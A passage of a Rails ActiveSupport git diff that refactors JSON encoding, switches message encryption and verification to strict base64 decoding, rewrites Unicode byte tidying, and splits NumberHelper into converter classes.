-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
+          raise NotImplementedError, message
+        end
 
-module Enumerable
-  def as_json(options = nil) #:nodoc:
-    to_a.as_json(options)
-  end
-end
+        def encode_big_decimal_as_string
+          message = \
+            "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+            "the new encoder will always encode them as strings.\n\n" \
+            "You are seeing this error because you are trying to check the value of the related configuration, " \
+            "'active_support.encode_big_decimal_as_string'. If your application depends on this option, you should " \
+            "add the 'activesupport-json_encoder' gem to your Gemfile. For now, this option will always be true. " \
+            "In the future, it will be removed from Rails, so you should stop checking its value."
 
-class Range
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
+          ActiveSupport::Deprecation.warn message
 
-class Array
-  def as_json(options = nil) #:nodoc:
-    # use encoder as a proxy to call as_json on all elements, to protect from circular references
-    encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    map { |v| encoder.as_json(v, options) }
-  end
-
-  def encode_json(encoder) #:nodoc:
-    # we assume here that the encoder has already run as_json on self and the elements, so we run encode_json directly
-    "[#{map { |v| v.encode_json(encoder) } * ','}]"
-  end
-end
+          true
+        end
 
-class Hash
-  def as_json(options = nil) #:nodoc:
-    # create a subset of the hash by applying :only or :except
-    subset = if options
-      if attrs = options[:only]
-        slice(*Array(attrs))
-      elsif attrs = options[:except]
-        except(*Array(attrs))
-      else
-        self
+        # Deprecate CircularReferenceError
+        def const_missing(name)
+          if name == :CircularReferenceError
+            message = "The JSON encoder in Rails 4.1 no longer offers protection from circular references. " \
+                      "You are seeing this warning because you are rescuing from (or otherwise referencing) " \
+                      "ActiveSupport::Encoding::CircularReferenceError. In the future, this error will be " \
+                      "removed from Rails. You should remove these rescue blocks from your code and ensure " \
+                      "that your data structures are free of circular references so they can be properly " \
+                      "serialized into JSON.\n\n" \
+                      "For example, the following Hash contains a circular reference to itself:\n" \
+                      "   h = {}\n" \
+                      "   h['circular'] = h\n" \
+                      "In this case, calling h.to_json would not work properly."
+
+            ActiveSupport::Deprecation.warn message
+
+            SystemStackError
+          else
+            super
+          end
+        end
       end
-    else
-      self
-    end
-
-    # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
-    encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
-  end
 
-  def encode_json(encoder) #:nodoc:
-    # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
-    # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
-
-    # on the other hand, we need to run as_json on the elements, because the model representation may contain fields
-    # like Time/Date in their original (not jsonified) form, etc.
-
-    "{#{map { |k,v| "#{encoder.encode(k.to_s)}:#{encoder.encode(v, false)}" } * ','}}"
-  end
-end
-
-class Time
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema
-    else
-      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
-    end
-  end
-end
-
-class Date
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      strftime("%Y-%m-%d")
-    else
-      strftime("%Y/%m/%d")
-    end
-  end
-end
-
-class DateTime
-  def as_json(options = nil) #:nodoc:
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema
-    else
-      strftime('%Y/%m/%d %H:%M:%S %z')
+      self.use_standard_json_time_format = true
+      self.escape_html_entities_in_json  = true
+      self.json_encoder = JSONGemEncoder
+      self.time_precision = 3
     end
   end
 end
diff --git a/activesupport/lib/active_support/json/variable.rb b/activesupport/lib/active_support/json/variable.rb
deleted file mode 100644
index d69dab6..0000000
--- a/activesupport/lib/active_support/json/variable.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'active_support/deprecation'
-
-module ActiveSupport
-  module JSON
-    # Deprecated: A string that returns itself as its JSON-encoded form.
-    class Variable < String
-      def initialize(*args)
-        message = 'ActiveSupport::JSON::Variable is deprecated and will be removed in Rails 4.1. ' \
-                  'For your own custom JSON literals, define #as_json and #encode_json yourself.'
-        ActiveSupport::Deprecation.warn message
-        super
-      end
-
-      def as_json(options = nil) self end #:nodoc:
-      def encode_json(encoder) self end #:nodoc:
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
index 37124fb..51d2da3 100644
--- a/activesupport/lib/active_support/key_generator.rb
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -4,7 +4,7 @@ require 'openssl'
 module ActiveSupport
   # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2
   # It can be used to derive a number of keys for various purposes from a given secret.
-  # This lets rails applications have a single secure secret, but avoid reusing that
+  # This lets Rails applications have a single secure secret, but avoid reusing that
   # key in multiple incompatible contexts.
   class KeyGenerator
     def initialize(secret, options = {})
@@ -57,18 +57,16 @@ module ActiveSupport
     # secret they've provided is at least 30 characters in length.
     def ensure_secret_secure(secret)
       if secret.blank?
-        raise ArgumentError, "A secret is required to generate an " +
-          "integrity hash for cookie session data. Use " +
-          "config.secret_key_base = \"some secret phrase of at " +
-          "least #{SECRET_MIN_LENGTH} characters\"" +
-          "in config/initializers/secret_token.rb"
+        raise ArgumentError, "A secret is required to generate an integrity hash " \
+          "for cookie session data. Set a secret_key_base of at least " \
+          "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
       end
 
       if secret.length < SECRET_MIN_LENGTH
-        raise ArgumentError, "Secret should be something secure, " +
-          "like \"#{SecureRandom.hex(16)}\". The value you " +
-          "provided, \"#{secret}\", is shorter than the minimum length " +
-          "of #{SECRET_MIN_LENGTH} characters"
+        raise ArgumentError, "Secret should be something secure, " \
+          "like \"#{SecureRandom.hex(16)}\". The value you " \
+          "provided, \"#{secret}\", is shorter than the minimum length " \
+          "of #{SECRET_MIN_LENGTH} characters."
       end
     end
   end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
index e489512..e2b8f0f 100644
--- a/activesupport/lib/active_support/lazy_load_hooks.rb
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -1,5 +1,5 @@
 module ActiveSupport
-  # lazy_load_hooks allows rails to lazily load a lot of components and thus
+  # lazy_load_hooks allows Rails to lazily load a lot of components and thus
   # making the app boot faster. Because of this feature now there is no need to
   # require <tt>ActiveRecord::Base</tt> at boot time purely to apply
   # configuration. Instead a hook is registered that applies configuration once
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index f9a9868..75f353f 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -1,5 +1,5 @@
 require 'active_support/log_subscriber'
-require 'active_support/buffered_logger'
+require 'active_support/logger'
 require 'active_support/notifications'
 
 module ActiveSupport
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 4a55bbb..33fccdc 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/logger_silence'
 require 'logger'
 
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index bffdfc6..b019ad0 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -12,7 +12,7 @@ module ActiveSupport
   # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
   # where you don't want users to be able to determine the value of the payload.
   #
-  #   salt  = SecureRandom.random_bytes(64) 
+  #   salt  = SecureRandom.random_bytes(64)
   #   key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt) # => "\x89\xE0\x156\xAC..."
   #   crypt = ActiveSupport::MessageEncryptor.new(key)                       # => #<ActiveSupport::MessageEncryptor ...>
   #   encrypted_data = crypt.encrypt_and_sign('my secret data')              # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
@@ -76,12 +76,12 @@ module ActiveSupport
       encrypted_data = cipher.update(@serializer.dump(value))
       encrypted_data << cipher.final
 
-      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+      "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
     end
 
     def _decrypt(encrypted_message)
       cipher = new_cipher
-      encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+      encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
 
       cipher.decrypt
       cipher.key = @secret
@@ -91,7 +91,7 @@ module ActiveSupport
       decrypted_data << cipher.final
 
       @serializer.load(decrypted_data)
-    rescue OpenSSLCipherError, TypeError
+    rescue OpenSSLCipherError, TypeError, ArgumentError
       raise InvalidMessage
     end
 
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index e0cd92a..8e6e1dc 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -37,7 +37,12 @@ module ActiveSupport
 
       data, digest = signed_message.split("--")
       if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
-        @serializer.load(::Base64.decode64(data))
+        begin
+          @serializer.load(::Base64.strict_decode64(data))
+        rescue ArgumentError => argument_error
+          raise InvalidSignature if argument_error.message =~ %r{invalid base64}
+          raise
+        end
       else
         raise InvalidSignature
       end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index a42e7f6..3c0cf9f 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -56,11 +56,10 @@ module ActiveSupport #:nodoc:
 
       # Forward all undefined methods to the wrapped string.
       def method_missing(method, *args, &block)
+        result = @wrapped_string.__send__(method, *args, &block)
         if method.to_s =~ /!$/
-          result = @wrapped_string.__send__(method, *args, &block)
           self if result
         else
-          result = @wrapped_string.__send__(method, *args, &block)
           result.kind_of?(String) ? chars(result) : result
         end
       end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index bb8910a..ea3cdcd 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -11,7 +11,7 @@ module ActiveSupport
       NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
 
       # The Unicode version that is supported by the implementation
-      UNICODE_VERSION = '6.2.0'
+      UNICODE_VERSION = '6.3.0'
 
       # The default normalization used for operations that require
       # normalization. It can be set to any of the normalizations
@@ -212,57 +212,43 @@ module ActiveSupport
         codepoints
       end
 
-      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
-      # resulting in a valid UTF-8 string.
-      #
-      # Passing +true+ will forcibly tidy all bytes, assuming that the string's
-      # encoding is entirely CP1252 or ISO-8859-1.
-      def tidy_bytes(string, force = false)
-        if force
-          return string.unpack("C*").map do |b|
-            tidy_byte(b)
-          end.flatten.compact.pack("C*").unpack("U*").pack("U*")
+      # Ruby >= 2.1 has String#scrub, which is faster than the workaround used for < 2.1.
+      if '<3'.respond_to?(:scrub)
+        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+        # resulting in a valid UTF-8 string.
+        #
+        # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+        # encoding is entirely CP1252 or ISO-8859-1.
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+          string.scrub { |bad| recode_windows1252_chars(bad) }
         end
+      else
+        def tidy_bytes(string, force = false)
+          return string if string.empty?
+          return recode_windows1252_chars(string) if force
+
+          # We can't transcode to the same format, so we choose a nearly-identical encoding.
+          # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+          # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+          # before returning.
+          reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_16LE)
+
+          source = string.dup
+          out = ''.force_encoding(Encoding::UTF_16LE)
+
+          loop do
+            reader.primitive_convert(source, out)
+            _, _, _, error_bytes, _ = reader.primitive_errinfo
+            break if error_bytes.nil?
+            out << error_bytes.encode(Encoding::UTF_16LE, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+          end
 
-        bytes = string.unpack("C*")
-        conts_expected = 0
-        last_lead = 0
-
-        bytes.each_index do |i|
-
-          byte          = bytes[i]
-          is_cont       = byte > 127 && byte < 192
-          is_lead       = byte > 191 && byte < 245
-          is_unused     = byte > 240
-          is_restricted = byte > 244
+          reader.finish
 
-          # Impossible or highly unlikely byte? Clean it.
-          if is_unused || is_restricted
-            bytes[i] = tidy_byte(byte)
-          elsif is_cont
-            # Not expecting continuation byte? Clean up. Otherwise, now expect one less.
-            conts_expected == 0 ? bytes[i] = tidy_byte(byte) : conts_expected -= 1
-          else
-            if conts_expected > 0
-              # Expected continuation, but got ASCII or leading? Clean backwards up to
-              # the leading byte.
-              (1..(i - last_lead)).each {|j| bytes[i - j] = tidy_byte(bytes[i - j])}
-              conts_expected = 0
-            end
-            if is_lead
-              # Final byte is leading? Clean it.
-              if i == bytes.length - 1
-                bytes[i] = tidy_byte(bytes.last)
-              else
-                # Valid leading byte? Expect continuations determined by position of
-                # first zero bit, with max of 3.
-                conts_expected = byte < 224 ? 1 : byte < 240 ? 2 : 3
-                last_lead = i
-              end
-            end
-          end
+          out.encode!(Encoding::UTF_8)
         end
-        bytes.empty? ? "" : bytes.flatten.compact.pack("C*").unpack("U*").pack("U*")
       end
 
       # Returns the KC normalization of the string by default. NFKC is
@@ -307,6 +293,13 @@ module ActiveSupport
       class Codepoint
         attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
 
+        # Initializing Codepoint object with default values
+        def initialize
+          @combining_class = 0
+          @uppercase_mapping = 0
+          @lowercase_mapping = 0
+        end
+
         def swapcase_mapping
           uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
         end
@@ -384,14 +377,8 @@ module ActiveSupport
         end.pack('U*')
       end
 
-      def tidy_byte(byte)
-        if byte < 160
-          [database.cp1252[byte] || byte].pack("U").unpack("C*")
-        elsif byte < 192
-          [194, byte]
-        else
-          [195, byte - 64]
-        end
+      def recode_windows1252_chars(string)
+        string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
       end
 
       def database
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index c45358b..7a96c66 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -143,8 +143,8 @@ module ActiveSupport
   #
   # == Default Queue
   #
-  # Notifications ships with a queue implementation that consumes and publish events
-  # to log subscribers in a thread. You can use any queue implementation you want.
+  # Notifications ships with a queue implementation that consumes and publishes events
+  # to all log subscribers. You can use any queue implementation you want.
   #
   module Notifications
     class << self
@@ -178,7 +178,7 @@ module ActiveSupport
       end
 
       def instrumenter
-        InstrumentationRegistry.instrumenter_for(notifier)
+        InstrumentationRegistry.instance.instrumenter_for(notifier)
       end
     end
 
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index 99fe03e..8f5fa64 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -107,21 +107,18 @@ module ActiveSupport
         end
 
         class Timed < Evented
-          def initialize(pattern, delegate)
-            @timestack = []
-            super
-          end
-
           def publish(name, *args)
             @delegate.call name, *args
           end
 
           def start(name, id, payload)
-            @timestack.push Time.now
+            timestack = Thread.current[:_timestack] ||= []
+            timestack.push Time.now
           end
 
           def finish(name, id, payload)
-            started = @timestack.pop
+            timestack = Thread.current[:_timestack]
+            started = timestack.pop
             @delegate.call(name, started, Time.now, id, payload)
           end
         end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index 0c9a729..3a244b3 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -54,10 +54,11 @@ module ActiveSupport
         @transaction_id = transaction_id
         @end            = ending
         @children       = []
+        @duration       = nil
       end
 
       def duration
-        1000.0 * (self.end - time)
+        @duration ||= 1000.0 * (self.end - time)
       end
 
       def <<(event)
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index c9c0eff..b169e3a 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,19 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
-
 module ActiveSupport
   module NumberHelper
-    extend self
-
-    DEFAULTS = {
-      # Used in number_to_delimited
-      # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
-      format: {
-        # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
-        separator: ".",
-        # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
-        delimiter: ",",
-        # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
-        precision: 3,
-        # If set to true, precision will mean the number of significant digits instead
-        # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
-        significant: false,
-        # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
-        strip_insignificant_zeros: false
-      },
-
-      # Used in number_to_currency
-      currency: {
-        format: {
-          format: "%u%n",
-          negative_format: "-%u%n",
-          unit: "$",
-          # These five are to override number.format and are optional
-          separator: ".",
-          delimiter: ",",
-          precision: 2,
-          significant: false,
-          strip_insignificant_zeros: false
-        }
-      },
-
-      # Used in number_to_percentage
-      percentage: {
-        format: {
-          delimiter: "",
-          format: "%n%"
-        }
-      },
-
-      # Used in number_to_rounded
-      precision: {
-        format: {
-          delimiter: ""
-        }
-      },
-
-      # Used in number_to_human_size and number_to_human
-      human: {
-        format: {
-          # These five are to override number.format and are optional
-          delimiter: "",
-          precision: 3,
-          significant: true,
-          strip_insignificant_zeros: true
-        },
-        # Used in number_to_human_size
-        storage_units: {
-          # Storage units output formatting.
-          # %u is the storage unit, %n is the number (default: 2 MB)
-          format: "%n %u",
-          units: {
-            byte: "Bytes",
-            kb: "KB",
-            mb: "MB",
-            gb: "GB",
-            tb: "TB"
-          }
-        },
-        # Used in number_to_human
-        decimal_units: {
-          format: "%n %u",
-          # Decimal units output formatting
-          # By default we will only quantify some of the exponents
-          # but the commented ones might be defined or overridden
-          # by the user.
-          units: {
-            # femto: Quadrillionth
-            # pico: Trillionth
-            # nano: Billionth
-            # micro: Millionth
-            # mili: Thousandth
-            # centi: Hundredth
-            # deci: Tenth
-            unit: "",
-            # ten:
-            #   one: Ten
-            #   other: Tens
-            # hundred: Hundred
-            thousand: "Thousand",
-            million: "Million",
-            billion: "Billion",
-            trillion: "Trillion",
-            quadrillion: "Quadrillion"
-          }
-        }
-      }
-    }
-
-    DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
-      -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :NumberConverter
+      autoload :NumberToRoundedConverter
+      autoload :NumberToDelimitedConverter
+      autoload :NumberToHumanConverter
+      autoload :NumberToHumanSizeConverter
+      autoload :NumberToPhoneConverter
+      autoload :NumberToCurrencyConverter
+      autoload :NumberToPercentageConverter
+    end
 
-    STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+    extend self
 
     # Formats a +number+ into a US phone number (e.g., (555)
     # 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +41,7 @@ module ActiveSupport
     #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
     #   # => +1.123.555.1234 x 1343
     def number_to_phone(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      number       = number.to_s.strip
-      area_code    = options[:area_code]
-      delimiter    = options[:delimiter] || "-"
-      extension    = options[:extension]
-      country_code = options[:country_code]
-
-      if area_code
-        number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
-      else
-        number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
-        number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
-      end
-
-      str = ''
-      str << "+#{country_code}#{delimiter}" unless country_code.blank?
-      str << number
-      str << " x #{extension}" unless extension.blank?
-      str
+      NumberToPhoneConverter.convert(number, options)
     end
 
     # Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +83,7 @@ module ActiveSupport
     #   number_to_currency(1234567890.50, unit: '£', separator: ',', delimiter: '', format: '%n %u')
     #   # => 1234567890,50 £
     def number_to_currency(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      currency = i18n_format_options(options[:locale], :currency)
-      currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
-      defaults  = default_format_options(:currency).merge!(currency)
-      defaults[:negative_format] = "-" + options[:format] if options[:format]
-      options   = defaults.merge!(options)
-
-      unit      = options.delete(:unit)
-      format    = options.delete(:format)
-
-      if number.to_f.phase != 0
-        format = options.delete(:negative_format)
-        number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
-      end
-
-      format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+      NumberToCurrencyConverter.convert(number, options)
     end
 
     # Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -253,14 +119,7 @@ module ActiveSupport
     #   number_to_percentage('98a')                                # => 98a%
     #   number_to_percentage(100, format: '%n  %')                 # => 100  %
     def number_to_percentage(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      defaults = format_options(options[:locale], :percentage)
-      options  = defaults.merge!(options)
-
-      format = options[:format] || "%n%"
-      format.gsub('%n', self.number_to_rounded(number, options))
+      NumberToPercentageConverter.convert(number, options)
     end
 
     # Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +148,7 @@ module ActiveSupport
     #   number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
     #   # => 98 765 432,98
     def number_to_delimited(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-
-      options = format_options(options[:locale]).merge!(options)
-
-      parts = number.to_s.split('.')
-      parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
-      parts.join(options[:separator])
+      NumberToDelimitedConverter.convert(number, options)
     end
 
     # Formats a +number+ with the specified level of
@@ -340,39 +191,7 @@ module ActiveSupport
     #   number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
     #   # => 1.111,23
     def number_to_rounded(number, options = {})
-      return number unless valid_float?(number)
-      number  = Float(number)
-      options = options.symbolize_keys
-
-      defaults = format_options(options[:locale], :precision)
-      options  = defaults.merge!(options)
-
-      precision = options.delete :precision
-      significant = options.delete :significant
-      strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
-      if significant && precision > 0
-        if number == 0
-          digits, rounded_number = 1, 0
-        else
-          digits = (Math.log10(number.abs) + 1).floor
-          multiplier = 10 ** (digits - precision)
-          rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
-          digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
-        end
-        precision -= digits
-        precision = 0 if precision < 0 # don't let it be negative
-      else
-        rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
-        rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
-      end
-      formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
-      if strip_insignificant_zeros
-        escaped_separator = Regexp.escape(options[:separator])
-        formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
-      else
-        formatted_number
-      end
+      NumberToRoundedConverter.convert(number, options)
     end
 
     # Formats the bytes in +number+ into a more understandable
@@ -420,36 +239,7 @@ module ActiveSupport
     #   number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
     #   number_to_human_size(524288000, precision: 5)     # => "500 MB"
     def number_to_human_size(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-      number = Float(number)
-
-      defaults = format_options(options[:locale], :human)
-      options  = defaults.merge!(options)
-
-      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
-      storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
-      base = options[:prefix] == :si ? 1000 : 1024
-
-      if number.to_i < base
-        unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
-        storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
-      else
-        max_exp  = STORAGE_UNITS.size - 1
-        exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
-        exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
-        number  /= base ** exponent
-
-        unit_key = STORAGE_UNITS[exponent]
-        unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
-        formatted_number = self.number_to_rounded(number, options)
-        storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
-      end
+      NumberToHumanSizeConverter.convert(number, options)
     end
 
     # Pretty prints (formats and approximates) a number in a way it
@@ -550,88 +340,7 @@ module ActiveSupport
     #   number_to_human(1, units: :distance)                 # => "1 meter"
     #   number_to_human(0.34, units: :distance)              # => "34 centimeters"
     def number_to_human(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-      number = Float(number)
-
-      defaults = format_options(options[:locale], :human)
-      options  = defaults.merge!(options)
-
-      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
-      inverted_du = DECIMAL_UNITS.invert
-
-      units = options.delete :units
-      unit_exponents = case units
-      when Hash
-        units
-      when String, Symbol
-        I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
-      when nil
-        translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
-      else
-        raise ArgumentError, ":units must be a Hash or String translation scope."
-      end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
-
-      number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
-      display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
-      number  /= 10 ** display_exponent
-
-      unit = case units
-      when Hash
-        units[DECIMAL_UNITS[display_exponent]] || ''
-      when String, Symbol
-        I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
-      else
-        translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
-      end
-
-      decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
-      formatted_number = self.number_to_rounded(number, options)
-      decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
-    end
-
-    def self.private_module_and_instance_method(method_name) #:nodoc:
-      private method_name
-      private_class_method method_name
-    end
-    private_class_method :private_module_and_instance_method
-
-    def format_options(locale, namespace = nil) #:nodoc:
-      default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
-    end
-    private_module_and_instance_method :format_options
-
-    def default_format_options(namespace = nil) #:nodoc:
-      options = DEFAULTS[:format].dup
-      options.merge!(DEFAULTS[namespace][:format]) if namespace
-      options
-    end
-    private_module_and_instance_method :default_format_options
-
-    def i18n_format_options(locale, namespace = nil) #:nodoc:
-      options = I18n.translate(:'number.format', locale: locale, default: {}).dup
-      if namespace
-        options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
-      end
-      options
-    end
-    private_module_and_instance_method :i18n_format_options
-
-    def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
-      default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
-      I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
-    end
-    private_module_and_instance_method :translate_number_value_with_default
-
-    def valid_float?(number) #:nodoc:
-      Float(number)
-    rescue ArgumentError, TypeError
-      false
+      NumberToHumanConverter.convert(number, options)
     end
-    private_module_and_instance_method :valid_float?
   end
 end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000..9d976f1
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+  module NumberHelper
+    class NumberConverter # :nodoc:
+      # Default and i18n option namespace per class
+      class_attribute :namespace
+
+      # Does the object need a number that is a valid float?
+      class_attribute :validate_float
+
+      attr_reader :number, :opts
+
